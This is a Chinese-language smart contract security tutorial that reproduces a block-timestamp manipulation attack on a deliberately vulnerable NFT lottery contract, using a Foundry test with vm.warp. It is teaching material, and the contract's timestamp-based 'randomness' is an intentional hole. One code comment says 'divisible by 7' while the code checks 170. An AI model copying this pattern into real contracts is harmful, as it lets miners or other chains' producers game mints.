35.操纵区块时间
2023-06-23 20:48:00 # 00.security

操纵区块时间

这一讲,我们将介绍智能合约的操纵区块时间攻击,并使用 Foundry 复现。在合并(The Merge)之前,以太坊矿工可以操纵区块时间,如果抽奖合约的伪随机数依赖于区块时间,则可能被攻击。

区块时间

区块时间(block timestamp)是包含在以太坊区块头中的一个 uint64 值,代表此区块创建的 UTC 时间戳(单位:秒),在合并(The Merge)之前,以太坊会根据算力调整区块难度,因此出块时间不定,平均 14.5s 出一个区块,矿工可以操纵区块时间;合并之后,改为固定 12s 一个区块,验证节点不能操纵区块时间。

在 Solidity 中,开发者可以通过全局变量 block.timestamp 获取当前区块的时间戳,类型为 uint256

漏洞例子

此例子由WTF Solidity合约安全: S07. 坏随机数中的合约改写而成。我们改变了 mint() 铸造函数的条件:当区块时间能被 170 整除时才能成功铸造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract TimeMnipulation is ERC721 {
uint256 totalSupply;

// 构造函数,初始化NFT合集的名称、代号
constructor() ERC721("", ""){}

// 铸造函数:当区块时间能被7整除时才能mint成功
function luckyMint() external returns(bool success){
if(block.timestamp % 170 == 0){
_mint(msg.sender, totalSupply); // mint
totalSupply++;
success = true;
}else{
success = false;
}
}
}

Foundry复现攻击

攻击者只需操纵区块时间,将它设为能被 170 整除的数字,就可以成功铸造 NFT。我们选择 Foundry 来复现这个攻击,因为它提供了修改区块时间的作弊码(cheatcodes)。如果你不了解 Foundry/作弊码,可以阅读 Foundry教程Foundry Book

代码大致逻辑

  1. 创建一个 TimeManipulation 合约变量 nft
  2. 创建一个钱包地址 alice
  3. 使用作弊码 vm.warp() 将区块时间改为 169,由于不能被170整除,铸造失败。
  4. 使用作弊码 vm.warp() 将区块时间改为 17000,由于可以被170整除,铸造成功。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/TimeManipulation.sol";

contract TimeManipulationTest is Test {
TimeManipulation public nft;

// Computes address for a given private key
address alice = vm.addr(1);

function setUp() public {
nft = new TimeManipulation();
}

// forge test -vv --match-test testMint
function testMint() public {
console.log("Condition 1: block.timestamp % 170 != 0");
// Set block.timestamp to 169
vm.warp(169);
console.log("block.timestamp: %s", block.timestamp);
// Sets all subsequent calls' msg.sender to be the input address
// until `stopPrank` is called
vm.startPrank(alice);
console.log("alice balance before mint: %s", nft.balanceOf(alice));
nft.luckyMint();
console.log("alice balance after mint: %s", nft.balanceOf(alice));

// Set block.timestamp to 17000
console.log("Condition 2: block.timestamp % 170 == 0");
vm.warp(17000);
console.log("block.timestamp: %s", block.timestamp);
console.log("alice balance before mint: %s", nft.balanceOf(alice));
nft.luckyMint();
console.log("alice balance after mint: %s", nft.balanceOf(alice));
vm.stopPrank();
}
}

在安装好 Foundry 之后,在命令行输入下列命令启动新项目,并安装 openzeppelin 库:

1
2
3
forge init TimeMnipulation
cd TimeMnipulation
forge install Openzeppelin/openzeppelin-contracts

将这一讲的代码分别复制到srctest目录下,然后使用下列命令启动测试用例:

1
forge test -vv --match-test testMint

输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Running 1 test for test/TimeManipulation.t.sol:TimeManipulationTest
[PASS] testMint() (gas: 94666)
Logs:
Condition 1: block.timestamp % 170 != 0
block.timestamp: 169
alice balance before mint: 0
alice balance after mint: 0
Condition 2: block.timestamp % 170 == 0
block.timestamp: 17000
alice balance before mint: 0
alice balance after mint: 1

Test result: ok. 1 passed; 0 failed; finished in 7.64ms

我们可以看到,当我们将block.timestamp 修改为 17000时,铸造成功。

总结

这一讲,我们介绍了智能合约的操纵区块时间攻击,并使用 Foundry 复现了它。在合并(The Merge)之前,以太坊矿工可以操纵区块时间,如果抽奖合约的伪随机数依赖于区块时间,则可能被攻击。合并之后,以太坊改为固定 12s 一个区块,并且验证节点不能操纵区块时间。因此这类攻击不会在以太坊上发生,但仍可能在其他公链中遇到。

Prev
2023-06-23 20:48:00 # 00.security
Next